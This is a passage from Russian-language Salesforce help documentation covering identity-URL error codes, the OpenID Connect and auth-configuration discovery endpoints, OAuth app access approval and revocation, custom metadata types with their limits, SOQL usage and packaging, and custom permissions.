<feed_items>http://na1.salesforce.com/services/data/v{version}/chatter/feed-items</feed_items>
</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<updated_at>2013-12-02T18:46:42.000Z</updated_at>
</user>

Ниже перечислены возможные ответы системы Salesforce на недопустимый запрос.

Описание запросаКод ошибки

HTTP403 (запрещено) — HTTPS_Required
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Описание запросаКод ошибки

Маркер доступа отсутствует403 (запрещено) — Missing_OAuth_Token

Недопустимый маркер доступа403 (запрещено) — Bad_OAuth_Token

Пользователи в другой организации403 (запрещено) — Wrong_Org

Недопустимый или недействительный код
пользователя или организации

404 (не найдено) — Bad_Id

Деактивированный пользователь или неактивная
организация

404 (не найдено) — Inactive

Недостаточныйуровеньдоступакорганизацииили
сведениям

404 (не найдено) — No_Access

Запрос для недопустимой конечной точки сайта404 (не найдено) — No_Site_Endpoint

Сервер не отвечает404 (не найдено) — Internal_Error

Недопустимая версия406 (не допустимо) — Invalid_Version

Недопустимый обратный вызов406 (не допустимо) — Invalid_Callback

Конечная точка обнаружения OpenID Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Конечная точкаобнаружения OpenID Connect — это статическая страница, котораяможет
использоватьсядляотправкизапросов (без сеанса) наполучениеданныхоконфигурации
OpenID Connect системы Salesforce. Система Salesforce возвращает основные сведения о
конечных точках, поддерживаемые параметры scope и другие значения, используемые
для авторизации OpenID Connect.

URL-адрес должен иметь следующийформат:
https://login.salesforce.com/.well-known/openid-configuration.

Прим.: При использовании безопасной среды компонент
login.salesforce.com должензаменятькомпонент test.salesforce.com.

URL-адреса всегда должны содержать протокол HTTPS.

Ответ конечной точки обнаружения OpenID Connect

Данный URL-запрос возвращает сведения только в формате JSON.

Ниже приведен пример ответа в формате JSON.

{"issuer":"https://login.salesforce.com",
"authorization_endpoint":"https://login.salesforce.com/services/oauth2/authorize",
"token_endpoint":"https://login.salesforce.com/services/oauth2/token",
"revocation_endpoint":"https://login.salesforce.com/services/oauth2/revoke",
"userinfo_endpoint":"https://login.salesforce.com/services/oauth2/userinfo",
"jwks_uri":"https://login.salesforce.com/id/keys",
"scopes_supported":["id","api","web","full","chatter_api",
"visualforce","refresh_token","openid","profile","email",
"address","phone","offline_access", "custom_permissions"],
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"response_types_supported":["code","token","token id_token"],
"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"display_values_supported":["page","popup","touch"],
"token_endpoint_auth_methods_supported":["client_secret_post","private_key_jwt"] }

Конечная точка конфигурации проверки подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Конечная точка конфигурации проверки подлинности — это статическая страница,
которая может использоваться для отправки запросов на получение данных о SAML
организациидля единойрегистрацииипараметровпоставщикапроверкиподлинности.
Использование сеанса не требуется. Доступно только сообществам Salesforce или
настраиваемым доменам. Рекомендуем использовать данный URL-адрес при разработке
приложений, которым данная информация требуется по запросу.

В ответ на запрос конечной точки конфигурации проверки подлинности система
Salesforce возвращает основные сведения в формате JSON. Данные сведения содержат
параметрыпроверкиподлинностиирегистрации, активыфирменногостиляидругие значения, связанныесподдержкой
единой регистрации для пользователей сообщества или настраиваемого домена.

URL-адрес должен иметь следующийформат: https://<URL-адрес сообщества или настраиваемый
URL-адрес>/.well-known/auth-configuration. Например,
https://acme.my.salesforce.com/.well-known/auth-configuration.

Ответ конечной точки конфигурации проверки подлинности

Конечная точка конфигурации проверки подлинности возвращает только сведения в формате JSON.

Ниже приведен пример ответа.

Прим.: Значение UseNativeBrowserForAuthentication для сообщества всегда является ложным.

Ниже перечислены значения, которые доступны только сообществам и являются ложными или нулевыми для
настраиваемых доменов, созданных посредством функции «Мой домен».

• SelfRegistrationEnabled

• SelfRegistrationUrl

• DefaultProfileForRegistration

• FooterText

• UsernamePasswordEnabled

{
"OrgId": "00DD00#########",
"Url": "https://acme.force.com/partners",
"LoginPage": {
"LoginPageUrl": "https://acme.force.com/partners/CommunitiesLogin",
"LogoUrl": "https://acme.force.com/partners/img/logo190.png",
"BackgroundColor": "#B1BAC1",
"SelfRegistrationEnabled": true,
"FooterText": "acme.com",
"UsernamePasswordEnabled": false

},
"SamlProviders": [{
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"name": "ADFS",
"SsoUrl": "https://adfs.my.salesforce.com?so=00DB00#########"
},
{
"name": "SF Identity",
"SsoUrl": "https://sfid.my.salesforce.com?so=00DB00#########"
}],
"AuthProviders": [{
"name": "LinkedIn",
"IconUrl": "https://www.linkedin.com/logos/img/logo.png",
"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DB00000#########/LinkedIn"

},
{
"name": "Facebook",
"IconUrl": "https://www.facebook.com/logos/img/logo.png",
"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DB00000#########/Facebook"

}]
}

Запрос на предоставление или отклонение доступа

Запрос на доступ к приложению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Используемое внешнее приложение отправляет запрос на доступ к данным Salesforce.
Внешнее приложение уже интегрировано в систему Salesforce администратором
организации.

Чтобыпредоставить данному приложениюдоступ к данным Salesforce, нажмите кнопку
«Разрешить».

Если описание приложения не соответствует используемому в настоящий момент
приложению, или же в случае нежелания предоставлять доступ к данным, нажмите
кнопку «Отклонить».

Есливнастоящеевремявходв системувыполнендругимпользователем, нажмитекнопку
«Невы?», чтобы завершить сеанс работы этого пользователя и самому выполнить вход
в систему.

Пользовательможетпредоставитьдоступквнешнемуприложениютолькоопределенное
количество раз. Как правило, пользователь предоставляет доступ всем используемым
устройствам (например, портативному и настольному компьютерам). По умолчанию
доступ к одному приложению может быть предоставлен пять раз. При достижении
ограничения, установленного для организации, предоставление доступа к данному
приложениюинициирует автоматическуюотменудоступакнаименеевостребованному
маркеру доступа. Маркерыприложениядля удаленногодоступа, доступ к которымбудет
отменен, отображаются на странице.

Чтобы позже отменить предоставленный доступ к приложению для удаленного доступа, откройте страницу личных
сведений.
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1. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

2. Ниже перечислены действия, доступные в разделе «Связанные приложения OAuth».

• Просмотритесведенияокаждомдоступномприложении, а такжеколичестводоступовивремяпоследнейпопытки
доступа приложения к данным.

Прим.:

– Приложение может повторяться. При каждом предоставлении доступа к приложению пользователь
получаетновыймаркердоступа. Запросынамаркерыобновленияувеличиваютзначениеполя «Количество
использований», отображаемого для приложения. Доступ к данным Salesforce долженбыть предоставлен
навсехиспользуемыхустройствах (например, напортативноминастольномкомпьютерах). Поумолчанию
каждому приложению доступно не более пяти маркеров доступа. Новые приложения (по протоколу
OAuth 2.0) автоматическиутверждаютсядлядополнительныхустройствпослеединичногопредоставления
пользователем соответствующего доступа. Приложения OAuth 2.0 могут повторяться. Каждая строка
таблицыпредставляет собой уникальное разрешение, поэтомуприложение, запрашивающеенесколько
маркеров с разными областями, отображается несколько раз.

– Поля «Количество использований» и «Последнее использование» обновляются даже при ошибке
доступа связанного приложения к данным пользователя ввиду неудачного входа.

• Чтобы отменить доступ приложения, щелкните «Отменить». Приложение, доступ которого отменен, не может
использовать указанный маркер авторизации для доступа к данным Salesforce.

Важное замечание: Чтобы предотвратить доступ к данным Salesforce, пользователь должен аннулировать
все маркеры доступа для конкретного приложения.

СМ. ТАКЖЕ:

Подтверждение запроса на доступ к приложению

Отклонение запроса на доступ к приложению
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Подтверждение запроса на доступ к приложению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Используемое внешнее приложение отправило запрос на предоставление доступа к
данным Salesforce, который был утвержден. Закройте окно обозревателя и перейдите к
используемому приложению.

Чтобыпозжеотменитьпредоставленныйдоступкприложениюдляудаленногодоступа,
откройте страницу личных сведений.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Ниже перечислены действия, доступные в разделе «Связанные приложения OAuth».

• Просмотрите сведения о каждом доступном приложении, а также количество
доступов и время последней попытки доступа приложения к данным.

Прим.:

– Приложение может повторяться. При каждом предоставлении доступа
к приложению пользователь получает новый маркер доступа. Запросы
на маркеры обновления увеличивают значение поля «Количество
использований», отображаемого для приложения. Доступ к данным
Salesforce должен быть предоставлен на всех используемых устройствах
(например, напортативноминастольномкомпьютерах). Поумолчанию
каждомуприложениюдоступнонеболеепятимаркеровдоступа. Новые
приложения (по протоколу OAuth 2.0) автоматически утверждаются для
дополнительных устройств после единичного предоставления
пользователемсоответствующегодоступа. Приложения OAuth 2.0 могут
повторяться. Каждая строка таблицы представляет собой уникальное
разрешение, поэтомуприложение, запрашивающеенесколькомаркеров
с разными областями, отображается несколько раз.

– Поля «Количество использований» и «Последнее использование»
обновляютсядажеприошибкедоступасвязанногоприложениякданным
пользователя ввиду неудачного входа.

• Чтобы отменить доступ приложения, щелкните «Отменить». Приложение, доступ которого отменен, не может
использовать указанный маркер авторизации для доступа к данным Salesforce.

Важное замечание: Чтобы предотвратить доступ к данным Salesforce, пользователь должен аннулировать
все маркеры доступа для конкретного приложения.

СМ. ТАКЖЕ:

Отклонение запроса на доступ к приложению

Запрос на доступ к приложению
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Отклонение запроса на доступ к приложению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Используемое внешнее приложение отправило запрос на предоставление доступа к
данным Salesforce, нозапросбылотклонен. Выполните выходиз системы Salesforce. Затем
можете вернуться к исходному приложению.

СМ. ТАКЖЕ:

Подтверждение запроса на доступ к приложению

Запрос на доступ к приложению

Типы настраиваемых метаданных

Типы настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Принеобходимостисоздайтесобственныедекларативныеинфраструктурыразработчика
для внутренних рабочих групп, партнеров и клиентов. Вместо разработки приложений
на основе данных, рекомендуем разрабатывать приложения, которые определяются и
управляются собственными типами метаданных. Метаданные — информация,
описывающая конфигурацию организации каждого клиента.

Настраиваемые метаданные — это метаданные приложения, доступные для настройки,
развертывания, пакетирования и обновления. Сначала создайте тип настраиваемых
метаданных, который определяет форму метаданных приложения. Затем разработайте
многоразовуюфункцию, которая определяет алгоритм на основе метаданных данного
типа. Подобно настраиваемому объекту или настраиваемому параметру, тип
настраиваемых метаданных содержит список настраиваемых полей, соответствующих
аспектамметаданных. Послесозданияобщедоступноготипанастраиваемыхметаданных
пользователям доступно декларативное создание записей настраиваемыхметаданных, которые определяются по данному
типу. При пакетировании общедоступного типа настраиваемых метаданных клиенты, устанавливающие пакет, могут
добавлять собственныезаписив типметаданных. Настраиваемыеметаданныесчитываютсяииспользуютсямногоразовой
функцией для создания настраиваемого алгоритма приложения.

Структура строк настраиваемых метаданных напоминает структуру строк настраиваемых объектов. Можно создавать,
изменять и удалять строки настраиваемых метаданных вMetadata API или в программе настройки. Поскольку записи
являются метаданными, их можно переносить с помощью пакетов или средств Metadata API. Записи настраиваемых
метаданных доступны только для чтения в Apex, а также в API Enterprise и Partner.

Благодаря типамнастраиваемыхметаданных, пользователимогутотправлятьнеограниченноеколичество запросов SOQL
для каждой транзакции Apex.

Ниже перечислены типы настраиваемых полей, поддерживаемые типами настраиваемых метаданных.
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• Кнопка-флажок

• Дата

• Дата и время

• Эл. почта

• Число

• Процент

• Тел.

• Раскрывающийся список (бета-версия)

• Текст

• Область текста

• URL-адрес

Прим.: Данный выпуск поддерживает бета-версию раскрывающихся списков для типов настраиваемых данных,
являющуюся полноценной, но имеющую некоторые ограничения.

Подписавшийсянауправляемыйпакет, содержащийтипнастраиваемыхметаданных, неможетдобавлятьсвоисобственные
поля в данный тип. Только организация, которая разрабатывает тип, может добавлять в него настраиваемые поля.

Настраиваемые поля метаданных являются управляемыми, это означает, что разработчик типа может решать, кто может
изменять значения полей, после их развертывания в организации подписчика.

• Блокируется после выпуска: в любой записи типа значение поля становится неизменяемым после развертывания, в
том числе и с помощью организации разработчика, где была создана запись.

• Редактируемое подписчиком: любой, обладающий соответствующими полномочиями, может изменить значение
поля по своему усмотрению. Любые изменения, которые развертывает разработчик, не перезаписывают значения в
организации подписчика.

• Обновляемое: разработчик записи может изменять значение поля, выпустив новую версию пакета настраиваемых
метаданных. Подписчик не может изменить значение поля.

Типы и записи настраиваемых метаданных используют имена и метки. Имена типов должны быть уникальными внутри
пространства имен. Имена записей должны быть уникальными внутри типа настраиваемых метаданных и пространства
имен.

Настраиваемыезаписиметаданныхмогутбытьзащищены. Еслиразработчиквыпускаетзащищенныезаписивуправляемом
пакете, доступ к ним ограничен определенными способами.

• Код, который одинаков как в управляемом пакете, так и в настраиваемых записях метаданных, может читать записи.

• Код, одинаковый как в управляемом пакете, так и в настраиваемых типах метаданных, может читать записи,
принадлежащие этому типу.

• Код в управляемом пакете, не содержащий типа либо защищенной записи, не может читать защищенные записи.

• Код, который создает подписчик, и код в неуправляемом пакете не может читать защищенные записи.

• Разработчикможетизменить защищенныезаписитолькоспомощьюобновленияпакета. Подписчикнеможетчитать
или изменять защищенные записи. Имя разработчика защищенной записи не может быть изменено после выпуска.

Если создана защищенная настраиваемая записьметаданных в конкретнойорганизации, то она доступна толькопо коду
владельца, коду из неуправляемых пакетов и коду из управляемого пакета, который определяет его тип.

Настраиваемыетипыметаданныхтакжемогутбыть защищены, обеспечивая такуюже защитудоступа, чтои защищенные
записи. Если изменить тип с защищенного на общедоступный, его защищенные записи останутся защищенными, а все
другие записи станут общедоступными. Если используется программа установки, чтобы создать новую запись в
защищенном типе, флажок защищенного компонента будет отмечен по умолчанию. После того, как тип станет
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общедоступным, его нельзя будет преобразовать в защищенный. Подписчик не может создавать записи защищенного
типа.

Документация, описывающая типынастраиваемыхметаданных, ссылается на тестовое приложениеи три вымышленные
компании.

• Компания «Picklists R Us» разрабатывает многоразовые обновления для Salesforce App Cloud, включающие
раскрывающиеся списки.

• Компания «TravelApp, Inc.» разрабатываетприложениедлямежпланетногопутешествия, котороеиспользуетфункции
раскрывающихся списков, предоставленные компанией «Picklists R Us».

• Компания «Galactic Tours» является клиентом данных организаций. Пакет, предоставленный компанией «Picklists R Us»,
и расширение, предоставленное компанией «TravelApp, Inc.», устанавливаются компанией «Galactic Tours» в свою
организацию.

Чтобы получить собственную копию тестового приложения и обсудить даннуюфункцию, воспользуйтесь группой
сообщества Custom Metadata Types на веб-узле success.salesforce.com.

Ограничения для типов настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Нижеперечисленыособыеалгоритмыиограничения, действующиеприиспользовании
типов настраиваемых метаданных.

No upsert()
Функция upsert() недоступна для настраиваемых метаданных.

Обновление типов и записей
Нельзя обновить защищенные типы и записи в установленном управляемом пакете
программнымспособом. Защищенныетипыизаписиможноизменить толькопутем
обновления пакета.

Открытыетипыизаписинельзяобновитьспомощью Apex напрямую. Дляизменения
записей из Apex необходимо выполнить вызовы к Metadata API.

Взаимосвязи метаданных
Взаимосвязи метаданных не поддерживаются. Тем не менее, они могут быть сымитированы посредством текстовых
полей, содержащих API-имя целевого объекта.

Инструменты управленияжизненным циклом приложений
Типынастраиваемыхметаданныхнеподдерживаютинструментыуправленияжизненнымцикломприложенийниже.

• Управление версиями

• Tooling API

• Консоль разработчика

Лицензии
Лицензии, заданныедляпакетарасширения, применяются к записямнастраиваемыхметаданныхтолькоприналичии
типов в пакете расширения.

SOQL
Типы настраиваемых метаданных поддерживают синтаксис запроса SOQL ниже.

SELECT fieldList [...]
FROM objectType

[USING SCOPE filterScope]
[WHERE conditionExpression]
[ORDER BY field {ASC|DESC} [NULLS {FIRST|LAST}] ]
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• Параметр fieldList может содержать только поля, которые не являются взаимосвязью.

• Условие FROM может содержать только один объект.

• Нельзя использовать COUNT с типами настраиваемых метаданных.

• Можно использовать следующие операторы.

– IN и NOT IN

– =, >, >=, <, <= и !=

– LIKE, включая заменители

– AND

• Можно использовать ORDER BY, ASC и DESC с несколькими полями.

Защищенные типы настраиваемых метаданных
Подписчикинемогутдобавлять записинастраиваемыхметаданныхвустановленныетипынастраиваемыхметаданных,
являющиесязащищенными. Чтобыразрешитьподписчикамсозданиезаписейнастраиваемыхметаданных, заданных
типом настраиваемых метаданных, убедитесь, что тип является общедоступным.

Metadata API возвращает защищенные определения настраиваемых сущностей (но не записей настраиваемых
метаданных) в организации подписчика.

Кэширование
Настраиваемые записи метаданных кэшируются на уровне типа после первого запроса на чтение. Это повышает
производительностьприпоследующихзапросах. Запросы, которыенаходятсявожиданииприобновленииметаданных,
не получат самые последние метаданные.

Глобальные раскрывающиеся списки
Глобальные раскрывающиеся списки в типах настраиваемых метаданных не поддерживаются. Можно использовать
только раскрывающиеся списки sObject.

Раскрывающиеся списки и выпущенные управляемые пакеты
Подписчики на выпущенный управляемый пакет, включающий тип настраиваемых метаданных с раскрывающимся
списком, немогут добавлять значения в этотраскрывающийся список, а также удалять значенияизнего. Разработчики,
выпускающие управляемый пакет, содержащий тип настраиваемых метаданных с раскрывающимся списком, могут
добавлять значения в этот раскрывающийся список, но не могут их удалять.

Ограничения для настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Ниже перечислены требования для типов и записей настраиваемых метаданных.

Максимальная величинаОписание

Не ограниченоКоличество запросов SOQLна транзакцию
Apex

10 МбОбъем настраиваемых метаданных на
организацию*

10 МбОбъем настраиваемых метаданных на
сертифицированныйуправляемыйпакет*

Прим.: Записи настраиваемых
метаданных в сертифицированных
управляемых пакетах,
установленных пользователями, не
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Максимальная величинаОписание

учитываются ограничением организации. Тем не
менее, ограничением учитываются записи
настраиваемых метаданных, созданные
пользователем. Этоправилоприменяетсянезависимо
от того, создаются ли записи в вашем собственном
типе настраиваемых метаданных или в типе из
сертифицированного управляемого пакета.

100Количество полей на тип или запись настраиваемых
метаданных

100. Данноеколичествоохватываетвсетипы, разработанные
в организации и установленные из управляемых и
неуправляемых пакетов.

Количество типов настраиваемых метаданных на
организацию

1,000Количество символов на поле описания

50,000Количество отображаемых записей на транзакцию

200Количество типов настраиваемых метаданных на один
вызов

* Размер записиопределяетсямаксимальнымразмеромполякаждоготипа. Придобавленииполейв записьнастраиваемых
метаданныхрекомендуемиспользоватьсоответствующийтипизадаватьдлину, являющуюсяоптимальнойдлявыбранного
типаданных. Данноедействиепозволяетизбежатьпревышенияограничениядля кэшированныхданных. Например, при
создании поля номера социального обеспечения выберите тип данных «Текст» и введите значение «9». При выборе
типа данных «Область текста» каждая запись, содержащая данное поле, увеличивает показатели использования на
255 символов, независимо от количества введенных символов.
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Создание, редактирование и удаление типов и записей настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Организации Professional
Edition могут создавать,
изменять и удалять только
записи настраиваемых
метаданных из типов в
установленных пакетах.

Чтобы создать, обновить или удалить типы и записи настраиваемых метаданных,
воспользуйтесь интерфейсомMetadata API.

Дополнительную информацию см. в разделе «Типы настраиваемых метаданных
(CustomObject)» Руководства разработчика Metadata API.

Загрузка записей с помощью средства загрузки настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Enterprise, Performance,
Unlimited, Developer и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записей
настраиваемых метаданных:
• «Настройка

приложения»

Для использования средства
загрузки настраиваемых
метаданных:
• «Средство загрузки

настраиваемых
метаданных»

С помощью средства загрузки настраиваемых метаданных можно проводить пакетную
загрузку записей в типы настраиваемых метаданных из CSV-файла.

Средство загрузки настраиваемых метаданных позволяет загружать до 200 записей в
одном вызове.

1. Загрузите средство с портала Git и разверните пакет
(CustomMetadataLoader-master/custom_md_loader/package.xml) в
своей организации.

2. Создайте CSV-файлс заголовком, состоящимиз API-именполейтипанастраиваемых
метаданных. В нем обязательно должно иметься поле Label или Developer
Name. Вкачествепримераможнопосмотретьфайл sample.csv изпакета загрузки.
Есливорганизациииспользуютсяпространстваимен, укажитепрефикспространства
имен в заголовке.

3. В меню «Настройка» задайте разрешения для средства загрузки настраиваемых
метаданных для нужных пользователей, включая себя.

4. ВыберитеСредствозагрузкинастраиваемыхметаданныхвпалитреприложений.

5. Откройте вкладку «Средство загрузки настраиваемых метаданных». Приложение
предложит настроить «Параметры удаленного узла», если это еще не было сделано.

6. Выберите свой CSV-файл и соответствующий тип настраиваемых метаданных.

7. Нажмите «Создать настраиваемые метаданные», чтобы выполнить пакетную
загрузку записей из CSV-файла.
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Доступ к типам, записям и полям настраиваемых метаданных

Доступ к типам и записям настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Организациям Professional
Edition могут быть доступны
только записи
настраиваемых метаданных
из установленных типов
настраиваемых метаданных.

Рекомендуем использовать SOQL для доступа к типам настраиваемых метаданных и
извлечения API-имен записей для данных типов. Операции DML не поддерживаются
настраиваемымиметаданными в Apex, интерфейсах Partner API и интерфейсах Enterprise
API.

Дополнительную информацию об объекте sObject по имени «Тип настраиваемых
метаданных__mdt» см. в разделе «Тип настраиваемых метаданных__mdt» Справочного
руководства по объектам для Salesforce и Force.com.

Например, объявите переменную Apex custMeta типа настраиваемых метаданных
MyCustomMetadataType__mdt, котораянаходитсявпространствеимен, следующим
образом.

MyCustomMetadataType__mdt custMeta;

Объявите переменную custMeta типа настраиваемыхметаданных TheirCustomMetadataType__mdt, которая не
находится в вашем пространстве имен, но находится в пространстве имен their_ns, следующим образом.

their_ns__TheirCustomMetadataType__mdt custMeta;

Чтобы получить имена всех объектов типа настраиваемых метаданных MyMdt__mdt:

MyMdt__mdt[] allEntityNames = [select QualifiedApiName from MyMdt__mdt]

Нельзя использовать queryMore() с настраиваемыми метаданными, но можно использовать ключевые слова SOQL
LIMIT и OFFSET дляразбивкина страницымногочисленныхзаписей. Дополнительныесведения см. вРазбивка данных
на страницы для приложений Force.com.

Крометого, чтобыпредоставитьобъект, которыйбольшенапоминает Schema.SObjectDescribeResult, чем SOQL,
разрешите классу Apex по имени Acme.MyMdtDescribeResult инкапсулировать информацию, запрошенную из
Acme__MyMdt. Затем создайте класс Acme.Acme с методами следующим образом:

Acme.MyMdtDescribeResult describeMyMdt(String qualifiedApiName) {
///perform queries and create object

}
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Доступ к полям настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Организациям Professional
Edition могут быть доступны
только поля настраиваемых
метаданных из
установленных типов
настраиваемых метаданных.

Поля для типов и записей настраиваемых метаданных доступны только для чтения
посредством SOQL.

SOQL ссылаетсянанастраиваемыеполядлятиповнастраиваемыхметаданныханалогично
интерфейсуMetadata API. Например, оператор SOQL ниже извлекает все значения
Field__c и Picklist__c любого PicklistUsage__mdt, связанного с любым
настраиваемым объектом InterplanetaryGreeting__c.

SELECT Field__c, Picklist__c
FROM PicklistUsage__mdt
WHERE SObjectType__c = 'InterplanetaryGreeting__c'

Информация, являющаяся общей для всех настраиваемых метаданных, отображается в виде стандартных полей.
Дополнительную информацию см. в разделе «Тип настраиваемых метаданных__mdt» Справочного руководства по объектам
для Salesforce и Force.com.

Оператор Apex ниже в пространстве имен picklist1234 извлекает метку и пространство имен для настраиваемых
метаданных, представленных в файловом интерфейсе Metadata API как
picklist1234__ReusablePicklistOption.travelApp1234__Motel6. Данный оператор назначает объект
переменной motelEx.

ReusablePicklistOption__mdt motelEx = [SELECT MasterLabel, NamespacePrefix
FROM ReusablePicklistOption__mdt
WHERE NamespacePrefix = 'travelApp1234'
AND DeveloperName='Motel6'];

Прим.: Подписчики могут выполнять пакетный код Apex, запрашивающий защищенные типы настраиваемых
метаданных в одном пакете. Однако подписчики не могут запрашивать защищенные типы в установленномпакете
с помощью кода Apex, созданном самостоятельно.
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Пакетирование типов и записей настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Пакетирование типов и записей настраиваемых метаданных может выполняться
посредствомнеуправляемыхпакетов, управляемыхпакетовилирасширенийуправляемых
пакетов. Затемпакетымогутбытьустановленыорганизациями Professional Edition, Developer
Edition, Enterprise Edition, Performance Edition, Unlimited Edition и Database.com Edition.
Рекомендуем использовать наборы изменений для развертывания типов и записей
настраиваемых метаданных из безопасной среды.

Можно добавить настраиваемые типы метаданных и записей в пакеты с помощью
пользовательского интерфейса Force.com. В меню «Настройка» введите Пакеты в поле
«Быстрый поиск», затемвыберите«Пакеты», нажмитенаимяпакета, послечегонажмите
кнопку «Добавить».

Чтобыдобавить типынастраиваемыхметаданных, выполните указанныенижедействия.

1. Выберите тип компонента «Тип настраиваемых метаданных».

2. Выберите тип настраиваемых метаданных для добавления в пакет.

3. Нажмите кнопку «Добавить в пакет».

Чтобы добавить записи настраиваемых метаданных, выполните указанные ниже действия.

1. Выберите ярлык настраиваемого типа метаданных из доступных типов компонентов, например, Reusable
Picklist__ mdt или, если тип происходит из расширяемого пакета — Reusable Picklist__ mdt
[picklist1234].

2. Выберите записи для добавления.

3. Нажмите кнопку «Добавить в пакет».

Добавление записи в пакет инициирует добавление соответствующего типа. Добавление записи в набор изменений
инициирует добавление соответствующего типа в список зависимых компонентов.

Дополнительнуюинформациюонаборахизмененийиразвертываниипакета см. вРуководствепожизненномуциклуразработки.

Прим.: Пакет, содержащий тип настраиваемых метаданных, который использовался для создания собственных
записей, не может быть удален.

Как и со всеми компонентами упаковываемых метаданных, можно также добавить типы настраиваемых метаданных и
записей в пакет, указав полное имя пакета вфайле package.xml. Например, данныйфрагмент содержит имя пакета из
файла package.xml.

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<fullName>Picklists R Us</fullName>
...
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Рекомендации по использованию пакетов с типами настраиваемых метаданных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Ниже перечислены рекомендации по использованию пакетов, содержащих типы
настраиваемых метаданных.

Ниже перечислены действия, которые не поддерживаются после загрузки пакета
«Управляемый — выпущенный», содержащего тип настраиваемых метаданных.

• Добавление обязательных полей в тип настраиваемых метаданных

• Преобразование любых необязательных полей в обязательные

• Удаление настраиваемых полей

Настраиваемые полномочия

Настраиваемые полномочия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Для организаций,
использующих Group
Edition и Professional
Edition, нельзя создавать или
редактировать
настраиваемыеполномочия,
но можно установить их как
часть управляемого пакета.

Система позволяет использовать настраиваемые полномочия для предоставления
пользователям доступа к настраиваемым процессам или приложениям.

Система Salesforce поддерживает функции, многие из которых могут быть доступны
только определенным пользователям. Параметры наборов полномочий и профилей
включаютвстроенныепараметрыдоступадлямногихобъектов (например, поля, вкладки
истраницыVisualforce). Темнеменее, наборыполномочийипрофилинеподдерживают
доступ к некоторым настраиваемым процессам и приложениям. Например, при
использовании приложения Time-Off Manager отправка запросов на отгулы может быть
доступна всем пользователям, тогда как утверждение данных запросов может быть
доступно только небольшой группе пользователей. Подобные проверки доступа могут
выполняться посредством настраиваемых полномочий.

Настраиваемые полномочия позволяют задавать проверки доступа, которые, подобно
полномочиям пользователя и другим параметрам доступа, могут быть назначены
пользователям посредством наборов полномочий или профилей. Например, задайте
проверки доступа для кода Apex, который активирует кнопку на странице Visualforce
толькоприназначениипользователюсоответствующегонастраиваемогополномочия.

Ниже перечислены способы запроса настраиваемых полномочий.

• Чтобы определить пользователей, которым доступно конкретное настраиваемое
полномочие, рекомендуем использовать запрос SOQL для следующих объектов
sObject: SetupEntityAccess и CustomPermission.
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• Чтобы определить настраиваемые полномочия, доступные пользователям при проверке подлинности в связанном
приложении, рекомендуемиспользовать URL-адрес удостоверенияпользователя, предоставляемыйсистемой Salesforce
вместе с маркером доступа для связанного приложения.

СМ. ТАКЖЕ:

Создание настраиваемых полномочий

Добавление или удаление обязательных настраиваемых полномочий

Включение настраиваемых полномочий в наборах полномочий

Включение настраиваемых полномочий в профилях

Справочное руководство по объектам для Salesforce и Force.com: CustomPermission

URL-адреса удостоверений

Создание настраиваемых полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
